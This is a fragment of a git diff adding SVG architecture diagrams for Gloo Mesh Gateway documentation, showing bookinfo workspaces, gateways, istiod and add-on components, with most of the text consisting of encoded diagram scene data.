8EhNXh2pMhcdTAwMWQ99JaymG7ZqVxmOX5+nVx1MDAxY55cdTAwMTYmOn/avUq9fVx0XHUwMDE2c9byXdCRXFw7WWxHXGLUJ6vLR0WatGqGyPcy8WhMOIxuUrXbUUVmMXJNMSbJXG5V9lx1MDAwZbvvZ+3bw7Nk2u6J+8fikX48XHUwMDFlXHUwMDA0MFlMjnmEcZRooUyIpvm5mG7EkEWoQprPfoo4ZVx1MDAwM0ht8tOY0DvjuU1cdTAwMDLXzjLn4+LDZSbZOk7f0aHAg0HnNL5cdTAwMTFmXy1cdTAwMWJgR8v7tYbdfjbAjqa7LM7O/4HzYT3MuvMkXHUwMDAzXHUwMDE5mIfKXHUwMDA0olhjXHUwMDE1/fQ/fDljir2ExqGKgUtLbksxbCPOjoHFiVx1MDAxOXOUPfhcdTAwMDZxdlx1MDAwM8A11VK/enDXrfpjsVx1MDAxZFx1MDAwNdstQTqLXGLNNc/1sVx1MDAxYUOBQTmcYWEq7kZmylc6nN6X++nzUebx6fDsNFd/aup1sNrnJVx1MDAxOVxixS0250i2XHUwMDEwdGdKk/9mR/OTXHUwMDA0n3l9fpJcdTAwMDEmhEmFkNhcdTAwMWZ7him8YT9/qcqVi8duP9Xrq3N2p+62oJ93NOxPlsFX3LWtXHUwMDBmu1xmVPk/cI+givHgzE3KQGJpJaNniYWvZ2xRXHUwMDE1XG5cdTAwMTXhjFpsW1wifCupm5hSpjnS31xuVlx1MDAwMUo5XHUwMDE4N4b1g2Tnrevfvm5XwGpcdCxZXHUwMDA0Vlx1MDAwYjNdXHUwMDFmWnFcdTAwMTRcXHhcdTAwMDdcdTAwMTOkXGJcdTAwMTM0usXTXHUwMDFld+96/Dp//Fxcv5z2R+hcdTAwMWVcdTAwMWRlXHUwMDEycXeEXHUwMDAxrqFzg8dcdTAwMWRPhFx1MDAxOWbWnDGxI9hgm3V31lx1MDAwNFdUSzDBiCPmK07g6uhsUK10SoXSMVx1MDAxOVx1MDAwZY6ytsq01Ft8UdBX84TtaHl3NOyDvteKqmzz5emqX1Pjk9HruLlccuzaQIm2rFx1MDAxN3LN3E3mTbRcdTAwMTLCrre2MG5cdTAwMTZVZK2E+pf4YZgrpU5QXG6/drYwbpdWXHUwMDBiL1x1MDAwNTVcdTAwMTHVXHUwMDFie9i86PWK9+3SXHUwMDE2xr0ppWi+fWeXefmmmDrOXHUwMDEz2lxi2rYtXHUwMDE1XGLxJ5Q9wkznSaC3c1x1MDAxMuJIcVx1MDAxMf3gNJxcdTAwMGbiXG4zlVx1MDAwZVVmlFgokjL7rKrUXG4xQlx1MDAxMcP7O8vZXHUwMDAzzEy1ut2Da3tQ/3T33Vx1MDAxMny2iDLdXHUwMDEz3Vx1MDAwMGRcdTAwMDaXrVWYYMSdpWyWVu5Jpp8np8dcdTAwMTdcdTAwMWQ+tK/P2uRqdNq9+lpcdTAwMTiTudmSI2qhuVx1MDAwN0/vKOZvLYxpXHUwMDEyg0BQ6HhcdTAwMWW2jo7EU1x1MDAxN+F+Kp9BjUnv6XDaXCLiXHUwMDA3Ym5cdTAwMGJi7mh5v9awn196zf+L7Fx1MDAxM1lcdTAwMDWfimpcdTAwMGX/XHUwMDExvEI/2PBt+lwiwGpRglx1MDAxM2TxSFx1MDAxMvyTgJVcdTAwMDRbS3HuSFX/XHUwMDA2uOp8MGx0P1x1MDAxZFMtwSOLmGo+yfVYkVx1MDAwNXf9XHUwMDAwysRSr9L1XHUwMDAzjVx1MDAxYomTx5Ph08l5fiREa2jf547izovSNKT/cKVTvVx1MDAxMKFcdTAwMDC2XkRf+qZcdTAwMTFcblx1MDAwZef4XHUwMDA3K1JPiCjTUiPkTEWMXHUwMDEzgmo+s1TuXHUwMDExZV+71+PukNcyteTtczTttolcdTAwMWHyZfTIVUiu7Jrd8edyR9ju51x1MDAwNKH+nstazCyCs3mZKcKA+FxuVb1SR41KTiWeXi+O3s5lXCKdvM9fX8edlzHX2pKSXG7FXHSjTCF3smHCXHUwMDE0UORCXHUwMDAzXHUwMDBiXHUwMDExbSpE7I6ZpU9KlJeZMVwiXHUwMDA0XHUwMDBijWU841x1MDAxOZ5cbqnb0cP5YVx1MDAxMZGzh+P22404VLW4c/Nxq+HakX1y8++5hHJzYIVccqmDXHUwMDFkkNpkblx1MDAxMCSi+znC9zKWflx1MDAwZcxcdTAwMTW3OMbIXHUwMDFjXHUwMDFhciGZu3hQXHUwMDAyXHUwMDE0M8PA5oBOXHUwMDE5XHUwMDE11MHsWz1MI6ZcdTAwMTiDkJqb/EmshE9cdTAwMTdcdTAwMGJpYclMXHUwMDAxXHUwMDE20zaMXHUwMDEy7U2dYuZcdTAwMWLsUmvHonpQuNI4cDarwPBkpUEjUcVcdTAwMDFmam97XHUwMDFlzCygcVx1MDAwMZaHkFxuceXthPPvqPWRXGKmMHN5aGs+3l/OVyNyZ0/4u9TrZYawxVx1MDAxZlx1MDAxYvX3W8NcdTAwMWVcdTAwMWZcdTAwMDVH5/31e1GNXHUwMDE0sM3X+p///et//z9cdTAwMDO3RUwifQ== + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/dedfault/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg b/gloo-mesh/gateway/2-5/airgap/dedfault/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg new file mode 100644 index 0000000000..4355dcff7a --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/dedfault/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3PqyLfv+3xcbtec1z+6ncN5c8A4XHUwMDA3glxyvnOLXCLIXHUwMDA0k0wwhlPnu9/V7L2NhFx1MDAwMlwiXHUwMDE5eWzNLjO2oNV0r/Bbq1f4n79cdTAwMGVcdTAwMGX+XHUwMDFlTnr23/998Lf9Xim1XHUwMDFh1X5p/Pd/zN/f7P6g0e3ALTL7fdBcdTAwMWT1K7N31ofD3uC//8//KfV61vxTVqXb/vVJu2W37c5wXHUwMDAw7/2/8PvBwf/Mfjqe1bcrw1Kn1rJnXHUwMDFmmN2aP45jvfjXm25n9miCpKRIYPzxhsbgXHUwMDA0XHUwMDFlN7SrcPe51Fx1MDAxYdjzO+ZPf1crctQ94e3CRa9Uk8mzdKt5QeZPfW60WpnhpPXre5Uq9VHfMafBsN99sVx1MDAxZlx1MDAxYtVhXHUwMDFk7uOFv398btCFXHUwMDE1mH+q31x1MDAxZNXqXHUwMDFkezBwfabbK1VcdTAwMWHDiflcdTAwMWJCXHUwMDFmf/21XGL/fTD/y7tZXHUwMDAxpC3NPi7+cdN8nGhsXHUwMDEx+XEpLFx1MDAxN+Z13G11+2Ze/4WUfObl+czKpcpLXHKm16nO34NJWSkxf8/497clSFnEcTHx8Za63ajVh+Y9RFjaebH5VOzZlmjMqFwiVJOPXHUwMDFi5vm98+qcOGZ/LVxcli7a94PXVJtcdTAwMWU+naZcdTAwMGb1KEWf/v59//8tLny91O/9XuC/XHUwMDA35lx1MDAxN8dXNN8uuUiATlwidFx1MDAxMMdhhlb5TSrbRrWTUuLq3H4rXjY+xnJRbKnf747//rjzv/9cdFx1MDAxYneQue2JRDlZQbbG/af+Xb5P+9HG9XzlUa9a+kXeWDAukKBcXDA6X89Wo/NcdTAwMDI3O6NW6y/HzFZlOVx1MDAxMsRyXHUwMDE4aYEl1UhG5rnBZeEufW33L0VlcPv+dvFYmnSScec5SaWl6Pxy85xAXHUwMDE2R/OLXHUwMDA0slx1MDAxY9NcdTAwMWNxXHUwMDE5znKEqLLtw3KYXHUwMDEw5OIn5cNyysNjWFwiwZRcdTAwMTSc7ozJZl9gTSZrPrNU7lx1MDAxMWVfu9fj7pDXMrXk7fNcdTAwMTaYLGHT/Fx1MDAwYtPtIZ+kajdInbXeXHUwMDEzmVgzXHUwMDE5XHLUa5pcdTAwMGKFiEI0Mo+d5Fx1MDAxZVC1cHmWaemTq8ZZPnd39zaIO49hRJWLyaSbyzR1cVx1MDAxOWWBbLZ/zYZcdFxiTcko/teptv1wXHUwMDA3XHUwMDE1KIg7XGJiTFxuLVx0j8xcdTAwMWW6NDyvnDTEqE3fs2e628jk0uXYs1x1MDAwN1XCWlx1MDAwMHuUWcipeGgwS8yuUJZcdTAwMTj2S51Br9RcdTAwMDdcdTAwMDLysoXS0k3yXq5QiljCcfFFptBcdTAwMDRxLIjAO+OJTTRRo/5YSvZfXHUwMDA3vFxckFeZxtXpey5xt1x1MDAwNU10Ocyp92eiXs4rguCHZPuNXHUwMDFmozjzXHUwMDFhdiCLRbhHiSRagZ1cdTAwMTWZ18qniWY91ytcdTAwMTGpbvh7h41EsX1cdTAwMTh3XmOM7JHVXHUwMDE0Xc5qeJG5QFxmYqmBwfbGXFyfTKZMXHUwMDA1XHUwMDAyJqylorAgNLpKXHUwMDE4pKpccvQwPc1cdTAwMWSlzlx1MDAwNil+93iuns/iTqZSMIvSQLNE6YhmSVxm8JJcdTAwMDTiVZI6QPBcdTAwMGZe2lx1MDAwNC+RYJOdgC3BXHUwMDE16KLIzHGcKD8kXHUwMDFiXHUwMDE1TVKpJG4+1nn5PNf6POZAazFcdTAwMDdcdTAwMDM4YshfgF3BMVx1MDAxN25rgkthUcSZQppLRDFcdTAwMGZkjo1sdsOhTsKnXuagXHUwMDBlXHUwMDAx/4dcdTAwMWI4JSDDiP42wpw4nLaL9CokhS10btEyepV314lcdTAwMTNVnN6i6lx1MDAxYq9gMbnOn6XjLswxY2xcdTAwMDF0XGJE3aBjJ1x1MDAxMlxcXCK0XGZvYOLBXHUwMDFiSmmNlSa7cyt9K4FNdKCBizmCf0iq6KD74fWilW0/a56+aZ/V8UDc5p5cdTAwMWFfgFx1MDAwMfhcdTAwMDJcdTAwMDNIaoCDXHUwMDE0XG5cdMFcdTAwMTCYjrtiXHUwMDAwXHUwMDFmzFx1MDAwMrjGyXtcdTAwMGXv21x1MDAxZimtlaaAxGOKWUr59NlcdTAwMGLKqiS55JXMtKVcdTAwMGU7mXSsWSBcdTAwMDSzYEU0XHUwMDAwelx1MDAxMZ1cdTAwMDWqzWrzqVt8vM6f2Nm3l+TNS+p0XHUwMDFhwFx1MDAwMlx1MDAwYqTsZoBFN+MuXHUwMDFkoFx1MDAwMi8wXHUwMDAwqL2IXHUwMDE4XHUwMDFlXHUwMDAwna0r4VxmULZZuVr2gSmCXHUwMDA10fpcdTAwMDc/cC9KYdo4OFx1MDAxMd5cdTAwMWRK2YT+m4ns8dFcdTAwMGIj+v6yTmrnlefxJD/1p/+h/T6M6s6Rw0Z5YE9cdTAwMTW5yDda+fZzws5Ttlx1MDAwNTdRsnh/jK/ZxbhbvsZ3+aG+PHuPeGBcdTAwMTE6buWtnJInnaNmtkEz6mySbVx1MDAxZSfLXHUwMDFijetatf9EXfhPkC6uXHQ5XHUwMDA1XHUwMDBiXHJcdTAwMTYsXHUwMDE0Y8y4UtHBZThdxVW3glx1MDAwMvWIXHUwMDE2XHUwMDE5XHUwMDExXFw+z671XHUwMDFkWpjPZeiHPGFzJ+NcdTAwMWZ5goSiiKL9qdO1SHK+893OMNOY/jqTcP31tNRutCauzZvRqvE6d2p9mN3BP51cdTAwMWE8cFxcmjiXeWDDc8x4zP3Bw1aj1pkxN8zc7rtoftiolFpcdTAwMWZvaDeqVae2rcBsSjBm/zyKkuz2XHUwMDFitUan1MouTPbPVDfQ9UJcdTAwMDSypKKEXHUwMDExJkh0XV+cPKXro3bXVp2ULL1cXCVG09Yk7rqe61x1MDAwNYZkRMZW11x1MDAwM1dcbs1cdOJ7480wXHUwMDFkd35LXHUwMDFmT8rkrHyIS1x1MDAwZs3TfE886NKPqt9cXNXvaHmXIVxi/1x1MDAwN0acLX7oVETloVhu2o/H6DB1f4TGN3u2e4KQXHR1cN/isbbgWFx1MDAxM2d43zIpXHUwMDE4vk3xXHUwMDA1JoteL0ajer0+XHSYXGKz7UI5XHUwMDE00jdcdTAwMDAmdmkwXHUwMDFj24PhnpDJXHUwMDEylb6ITD5muzk0XHUwMDAxayCQJzHCWlwivoIr+jnVrV6Unm5HuWKmctVTw9Py1VpuiE+ML6bEQtxxubhcdTAwMTM+T123dSB7RjhcYt8yTNFcYlMhd3lcYr5cdExcdTAwMTk/0veX9/40V2p3MX9X6YvapPNcdTAwMDNTtlx1MDAwNVN2tLxbXHUwMDFmdlx1MDAxOfrxf2DE2bJcdTAwMWO+Pq3nUvXc2fStmM1X5G3lKqbohzuixr1GoFSMMlx1MDAxNj3mNXyfYlxuf7hxwoTIWoIsXHUwMDFlSdbuXHUwMDA0XG5cdTAwMTFvnIaSXGK0IGX7k7D7cNJcZoaNbtVcdTAwMTf/OPJrtop/luBcdTAwMDaPZ+bXXGY3QD2CXHUwMDA18qLWmFKFZXRenJ7kJlx1MDAxN+VXmrrtl6v1m3NVOnluxlx1MDAxYvVgJIUlXHUwMDFkgUyLqEdYeFx1MDAxZdsqQ47iI6CewHiR9Vx1MDAwZWK0wIhcdTAwMTFcdTAwMTZT70zlqdGY3lUr9/lcdTAwMDTF6btelVWGRz+wZ1uwZ+vLu1xmn/g/MOJsXHUwMDFm9L1WVGWbL09X/ZpcdTAwMWGfjF7HzS2swnVcdTAwMDMl2rJeyDVzN5k30UpcYrve2sK4WVSRtVx1MDAxMupf4odhrpQ6QSn8XHUwMDFhgP5WXHUwMDFht0urhZeCmojqjT1sXvR6xft2gE9tpXFvSimab9/ZZV6+KaaO84Q21FtM8Vx1MDAxZtPBXHUwMDExvCbeg+lcdTAwMTVcZu1wNogp/MNI4TClg7Ezo1wiROl8kieMaiWJdG7LN0B/qVa3e3BtXHUwMDBm6lx1MDAwN/90SjXX8n2CI2xcdJRaXHUwMDA0gvPJ/prqWoxJUSBcdTAwMTjUjCikVnFLTzI5Us4n+bQ+fUHtw0nibjpcdTAwMWXHnTFcdCXcXHUwMDAyO1x1MDAwN0smZj9cdTAwMTdcXNRKWkRxidmvnyw4fFx1MDAxOCvBSuGBaaGcSbhPni9cdTAwMTWLnCkpXHUwMDE4ZVxuyXhCQJ0qto9q56P6ICllelx1MDAwNFx1MDAxYn7fKOxeK/nyvYrK9+Vu96XRee5cdTAwMWWMu/1cdTAwMTfYn4rty/iOvMPVXHUwMDE4f9jtXHUwMDA1cb1r8oss7jOvUC7/taI+bI5VYMypXHUwMDAyc0hcdTAwMTLMo5/Bh29xLE0+QuliwClcdTAwMDe2j3b2XHUwMDE0ga+DzTxELMKpXHUwMDA0w01TXHUwMDEz3O6TM1x1MDAwM5ag1EIoRpBAWFBvuIxiVDGhYpskIHA4U1x1MDAwZYal/vCo0ak2OjW4N1x1MDAxN1x1MDAxYn9KxJxH0Fx1MDAxZjM2roxmaVwixlVcdTAwMDaLQlx1MDAxMLwgRuf+XG6zNKWemZz1IbLNT6nJ73d8gOq/7U51PifXfFulwfC42243hvBN77qNztD3XHUwMDFiXHUwMDFkXHUwMDFhdqvbJVx1MDAwZlx1MDAxZsPIznuLfNkzI7q3bv5/XHUwMDA3c9Kd/fLx///vP77vTlx1MDAwNJOYuTzENVx1MDAxZu8v5+uqwFx1MDAwMavASDtTJkRcdTAwMTC0QkqeSF3w9EProjzOXHUwMDFkqXbr8P2e1DNxlyhkMapHXHUwMDE4XHUwMDE5s7VcdTAwMWOOIIlCmFx1MDAwZkpw2lx1MDAwYr+TRDGDXVx1MDAxME7He7xkxk5cdTAwMTV54rlcdTAwMGZvXHUwMDA0Nlx1MDAxY/zT6ZTadrBOXHUwMDE364L5TXW6/1x1MDAxNNfixbBweolNiJ2k0T26R6PGY/7pgddEMTs8StmXL1fX2bgzoyMzw3xELaR0LE5lS6xIfVx1MDAxMqi8rMiFlIpcdTAwMTC8u2jXTYoh7Dp5ZFx1MDAxOTbYjM/NdsWbzf1muFx1MDAxZYinJLhaXHUwMDAzLDPWIPKj69zwvLm4sjmzXHUwMDA0XHUwMDEximuAw4I7PFkz/SuVZTBcdTAwMGWXXG6gkCa70b9YXG6La800XHUwMDE3nDFnqt6HXGJAXHUwMDE2YVxiaa5NQS6JlWZcdTAwMWUjnjBcdTAwMDFgXGZAW0y184qIflx1MDAxMf0ux/rhibsurE9gPlx1MDAxNCxY2DVCJJ7PbFx1MDAwZfaJxVx0wFx1MDAxZIY1gf2RXqz/tVx1MDAxMH1cdTAwMTCJze76UNeKmD5YwogwXHQjlOJgYESWMOGaJa5cdTAwMTKGgr2kJaw6kcQtX1x1MDAxNMNcdTAwMTZlSlx1MDAxMSRcdTAwMTUmUm9WlSyqfCE+XHUwMDA3w8jShEqgXHUwMDAwkyhpouC80Vx1MDAxYoxTJZhi+6tcdTAwMDX4KS6DcLDqXHUwMDEyI0gjMJElx2C6UUmVV4xwi4DVxkGEXHUwMDEwWFxcIFx1MDAwMo9cdTAwMTiJJNrCU7Ldc1wioKdcdTAwMTgyNc0oXHUwMDE4zEr7ODKwJT9mXHUwMDA1prWm/y7hRqjr81x1MDAxZcpeUbZcdTAwMDVHoFx1MDAwNaYhgSXPMEUrXHUwMDA0oFx1MDAxZOfrXHUwMDE3qZv6IF3jdrfR7t2PT0dBJlJ8XHUwMDBlOkCPWoxcdTAwMTNqXG6hmJ/uMimgSCw9v4s38oeGn3PISOdcdTAwMWNcXIK6V1x1MDAxOO0v/uzjXHUwMDE58ak6upnZ9Dtkflx1MDAxMLdzXHUwMDBln3mtXHUwMDA3YExcdTAwMThlXHUwMDEwm1x1MDAwM4bkJtUmuolcdTAwMTS+x/FcdTAwMDQwhGBLI8RcdOBcdTAwMTRK8EKdMGJKIYHcNUl+IPVCwlxmNjn0IIxacE+ZjFx1MDAxZolgIO7ld0EtRojmJlx1MDAwN1x1MDAxNGFvkTvMXHUwMDE4aGCM2O6OOWNcdTAwMDFgwlWJXHUwMDBiLFCjNGE9XHUwMDExXHUwMDAwf+Ned/j5/2BcdTAwMDVqcVhRwFxuRGMwhzlfXHUwMDBmwYRcdTAwMTfudk3KOFx1MDAxOPXMXHUwMDE2XHUwMDA3SFx1MDAwNfvFvZPSlqLwXHUwMDFmgFFcdTAwMDDNlGPhmdSXXHUwMDAyMMHUba5Ful5cdTAwMTG+LCmdXHUwMDE1Up2dmsLRgkY/xlx1MDAxNbmrafFq3E7nk2RCqqVB+sGuriPdPjGVWpLFY1xcQcFcdTAwMWXmUVx1MDAwZV2ipFIvXHUwMDA2V21cdTAwMTatK1x1MDAwMMdSKXfo5NlcdTAwMDTB8OtpIXd58np62SpVc0T36OA9oFxublx1MDAxY4J17/V7fZi+e7+aVlx1MDAxZnrDXHUwMDAxOZ5cdTAwMWVcdTAwMTfHW1x1MDAxOLdrn7yl+FBW2MnxqH9xcl647YuNxl1cdTAwMTZV67/w28GHocIl+Cw32O2DMNMzmzmyXFxcdKermFx1MDAxYUdYglx1MDAxY1mQLExakkc5Q4ogWZaFZC6VLj5cdDpYXGJNpGTfqopKr9+tjirDXqnmb7vsKktnibZcXLRonNPcQOHz4FKBoFx1MDAwYlx0XHUwMDE2SkT3x+J3fXPZOcq/ZTKd685tj5313lnMXHUwMDE1PvfUSZPALFtjyy0rfFwiKVFMx7RM4CBbtU9HNlx1MDAxMnJ6To9zk2L6XHUwMDE2jzZX+DtcdTAwMWH2q+GIfvWi1KjWXHUwMDA2vPp2+9gpPVx1MDAxN87JccTA1zVxhP/C71x1MDAxMUdcdTAwMTBHNv6CuOJgl7rcXHUwMDExS6u0h1JVXFxRXHUwMDA099Rek5K47JOdolxiXHUwMDFm2OBpzWEq+UpTbWZ/5Xz3XHUwMDAwXHUwMDFiqjYo89bAXHUwMDFmMijX27dcdTAwMDZcdTAwMTmW6NtFyPBniuvDXHUwMDA1XHUwMDFhkmUvhcBcdTAwMWHIc4Uwb9LoXT8nXHUwMDFmiomH++NMXHUwMDFkPZ+O27WYw1x1MDAwNUlcdTAwMTbhgpIotnBcdTAwMDFjLmFuJKZFTI5vXHUwMDFlXHUwMDBln8pjzO76z/mXXuG62LRcdTAwMDPSWFdR7F9r2M9X6/5fJOJ0p4nWaY62U0RcXIpcdTAwMWJylMtkRk2++2OpteCCs87/griSRFx1MDAxOT/2XG5nNeHbXHUwMDFmV7wgyVwiXlBK7Vx1MDAxNS/49GvRnGqG8beqidYvXHJcdTAwMWKdWlx1MDAwMF7YkYthicJdxFx1MDAwYn+muFx0XlxiaVx1MDAxZCOJaUYgVqh/dvR+1j1cIp2bzFmmcFx1MDAwYqbw81x0uog5XlBKetxcdTAwMGI8vnhcdTAwMDEgXHUwMDFjJVx1MDAxNO0wknxcdTAwMTO8UFN5/lhCt1xydSpcdTAwMWYmV0f9V/RcdTAwMWHgSV9FXHUwMDAzf61hP/84wf+L/CvxQmCuulx0yVx1MDAxNKZLQXRvaPj+x1x1MDAxNTCA8e5xMNB4OVx1MDAxOFx1MDAxNMPMnHx+K7hgvzXs8ee6XHUwMDE3luhbXHUwMDBmXFz4PcVQ1lx1MDAwYlxmrGI8hPdcdTAwMThcdTAwMTCuXHUwMDE0K+R7hvtgV+K9xfP+XYJ1ri1cdTAwMDS4SCDGXHUwMDA0fGd3bJVExFx1MDAxMkSChlx1MDAwNtREhVx1MDAwZe5cdTAwMWG6KVx1MDAxZipqcSq45EyCtaC0T3RcdTAwMTUjlkaKalx1MDAwNJCBKOplUs2UQpztMSdtWXRcdTAwMTVccuXSiNFV4ad2XHUwMDA380Amk1XBMWJcYjFFhYA9xo53fURXUTnfYLCIfr9jxeiqcL+ge1KmaVx0YTAzLLFcdTAwMDJTzDMpbVx1MDAxMcxcdTAwMTg2Raspk1x1MDAxY2vPnL5UcFUgbZvLQ9Xz4f5yvq4s3ThccvREYI1cdTAwMTVHXFyj6I7TcFxiXHUwMDE4V+mmXHUwMDE4XHUwMDAzXHUwMDE24Fx1MDAxNGmOXHUwMDE4kN2idKOWUkD+SoFoXHUwMDEzu1x1MDAwM1x1MDAxOVJbsOBUmkhekFDKp15cdTAwMDaVltSEScLULCdiUbYxRMBQXHUwMDEyOzzg+FqyXHKkiJJcdTAwMDB7iFZcdTAwMWOD3J9cdTAwMDOSuWhjlslG/L27SPI1U1/CMYl7TphxKcxhOVx1MDAwN8Q4T6Zyzlx0SSqZSWNcdTAwMDJhy+nXTnxcdCRscy2S9IqCLTyIhFx1MDAwNWa+XGKEqIQ5zVHAMtmm3tLvhaNBvUx7zyelq2y2cFiNffPsxY7AXHUwMDAy8Ygxo5/fbFx1MDAxNVRcdTAwMWKmXHUwMDA0aOSn2+qW2mNcdTAwMDeq9ll9O5OJXHUwMDE2mfpfylx1MDAxM6LygEGK04vDW5K+Kuu3oFxiqlx1MDAxOFG/clG/pCqih3NcdTAwMGadVinYV5LENelr941WfZHBXHUwMDA2sj84XCLH1IUhQq5cdTAwMTLZa4+ml5eq+1467Vx1MDAwZYfjI1LjJzfDXHUwMDAw8o+Jh18xd2FcdTAwMThByVx1MDAxNjuvbde9r1x1MDAwNFaSXGJcdTAwMTVPyT+6aNwq2qynzrt1XU2Nn++7LMZNVq/PK5M31rRH9DJ5U8k2mo2H1/ZcdTAwMTbGrZy+PNitdOU8l7rq5juyca2zm/n3d7S8y45ccvxcdTAwMWZcdTAwMThxtoVb0UqlXG5FObrqXHUwMDBlblx1MDAwYjlVfK319yxcYoOrY4VcdTAwMTj3YH1Q6nRWL5OB4ftcdTAwMTRTXGKgXHUwMDE2K+VwXHUwMDE0sTzWflJcdTAwMWJcYueAWqiKb2ZDuFx1MDAwNf+lMlx1MDAxYpZo9Vx1MDAxZGU2hKRcdTAwMWNxojEjfFx1MDAwNav0Pd99S1x1MDAxZGY0te+ei7fv+uXh6nStSjOfXHUwMDA3TIRajDuQ22PJbcdcdTAwMWSAlFx1MDAxNFx1MDAxNNNcdTAwMWTWktxcdTAwMDSZPLzf9PB1rXN/cjvovmfsVIJcdTAwMTTszZHJjob9aoDn7YipciFLKb3rv5zcVOlx/lxybWHcrS/vMsDj/8B9XHUwMDAyk1x1MDAxMFx1MDAxOVxiRrp5noxcdTAwMWXPXHUwMDEwvp4xXHUwMDA1JkLPf/9cdTAwMTXMwFxc5tneg1x1MDAxOUzMvFSE0fiGM+xcdTAwMDCK7CNbYolcdTAwMGXfQbZcdTAwMDRcdTAwMGLug2bOXHUwMDFmTdnWyNxnV3D68bWGqvYh6T8+Plx1MDAxZbXFw2W8XHUwMDExiGKLmVx1MDAxMjS2XGJEm1wixkTq3Vx1MDAxNYPZqOfFRHZHWTI6Stdxlz/xgpqO6psjha817K5wwtanu1xmJ/g/cI84gfKQsi/wPKZXSaxcZl/PmOJcdTAwMDTF3ThBabRXnODNkuBcdTAwMThLRHZYrSqGMGFcdTAwMWZJXHUwMDEyS1x1MDAxNO1cdTAwMGWSJGhcdTAwMThKJ1x1MDAwNCnMouOE/pBcZif49vrptj654+Pi0W3mKlx1MDAxOW+cYHrTuUE6j1pcXH9cdTAwMGZcdTAwMTVcdTAwMTgwXHUwMDE1mjFcdTAwMWPTXHUwMDEyXGa5Qlx1MDAxZmdy2czkKNlcdTAwMWHdTItPT/e3w81179dcdTAwMWF2V0coW5/uMqTg/8Dd46U9IFx1MDAxMLr4V0diuUbI9FiKLFx1MDAwM8P3KaZcYlx1MDAwNKTgPIzql6uCf95cdTAwMTlKXHUwMDE0XGJCXHUwMDEw0oqL7+WpXGJNvNhcdTAwMTFcdTAwMDRZosO3m3jBg0vyXHUwMDEzzDjXRPDoXHUwMDA3JeFO4piGJitFLCy5xMCDilx07Vx1MDAwZeaTiFlKflLeXHUwMDA1JYpyzlx1MDAxMWZU+LXyW5p3gblmXGI4XHUwMDAy7y7AKVx1MDAxNsHJ4YeKXHUwMDA37sRcdTAwMGImiUJUXHUwMDExKVx1MDAwNVx1MDAxNo6U44NtZ16E+1x1MDAxOFx1MDAwZkIyL/h3yLzwp25z7SzzQrDgxuBmWYEuV+g4XHUwMDEyjixjKt60kFx1MDAxNkNaXCJNqTYtiFx1MDAxN8SbsDD9nMRcdTAwMGLTL5ArIHjYf+nT12hZ4lx1MDAwNVZUwOcl+1x1MDAxMW7zmt1IXHUwMDEzQk1cdTAwMTNSRVx1MDAxNZc+sm1LqVx1MDAxN+Go5CA49UL5T+pflnvhT9vm2jD3XCJQtElcdTAwMWVcXI3LeI3QSi1Sw83FmIo2U5Xc4tpcdTAwMDA3iThCjp6xMy8uJaD8OTO7Qlx1MDAxOFx0aTmysXAz9KxhJpoxQrj0M6hMtV9cZsyqgDVcdTAwMDTxtmzDWCityS5cdTAwMWKvbyrd5l9rXHUwMDAz6Vx1MDAxNlmQXHUwMDAwSJphWS6IsUJcdTAwMTCmXHUwMDBlvvojSLhrhzHyoqRI0i3c7bswKVPeXHUwMDEwc1x1MDAwMkSDgeSkT2qZOekkQnKqXHUwMDAw5Vx1MDAxOcv0S4u3RCB5m8tD2Ctcbrhw77hcblx1MDAxMXJqVlx1MDAxOYCt4Fx1MDAxObq6zTVcdTAwMWZOK1x1MDAwZlx1MDAwZqXpYHTXOuq/tFW8veNSXHRcdTAwMGJcZpePy1x1MDAxZGhL0TbTXHJcdTAwMDJbxq3lKpdcdTAwMWNcdTAwMTA98Ek8z9Rt3u/gh0zhvXp2dft+UVx1MDAxYtdPOlx1MDAwMVx1MDAxMeZxiL5LXHUwMDE274/xNbtcdTAwMTh3y9f4Lj/Ul2fvXHUwMDEx20GFjlt5K6fkSeeomW3QjDqbZJvHyYCqhiuNu/XlXeYr939gxNk2n1kq94iyr93rcXfIa5la8vY52ip46HTXvnIw5YIkoqJYaq1W6NFcdTAwMTK+TTF1lUuNw0RcInHnXHUwMDFlXHUwMDA0i8TFk8FcdTAwMWT5zZkxu5VE3yrZXHUwMDAwXkqjYd25uJv7zUPavy1T7YtO8z/zW1x1MDAxZpmw4LRcdTAwMWZcbtaX4HiF4NpBul6d3sinWvaFXHUwMDE16cXwJV0v5uJcdTAwMGVMpEXV/HJ7zVx1MDAxOWOxXHUwMDA1JsC3gFx1MDAxYzVn8Uw3aHXK90P2fHv+8k6OXHUwMDA2MtW9fk5cdTAwMDRAiFx1MDAxZmSy+rg7Wt6tXHUwMDBmu1xm8Pg/cJ/ARIXkQVxu46UkOnpcdTAwMThh+HrGXHUwMDE2mZAwmShIvJBcdDFlYoRk5FtBkz485qDVaDdcXGDjXHUwMDEzzvWXKHmf0ML5PDfAKSFFmFx1MDAwNaZcbtNVXHUwMDBlwNLHMn90enw+aL2Mi6R1Yd8nXHUwMDA2cccpPMxakDHGKUhITjDdY2X0MI33nq1f91nriF7Qs5s7zVLDZvXiXHUwMDA3p2xcdTAwMGKn7Gh5v8qwy+CP/1x1MDAwM/dcdH9ksJzFmCOQNCi6pzp8PWNcdTAwMGJ/UJio1TGDP5hxTLnGe7RcdTAwMDP3XHUwMDEy0VhtfG4841x1MDAxMtDgjWc0XHUwMDEzXFxcdTAwMWbwcFx1MDAxNFx1MDAxY0zMXHUwMDE10KjQKyCead7ujVx1MDAwYrXbTuH+9UWWaq+DMb5aXHUwMDA38XxcdTAwMWVcdTAwMWJcdTAwMTJEhYVcdTAwMWSXu9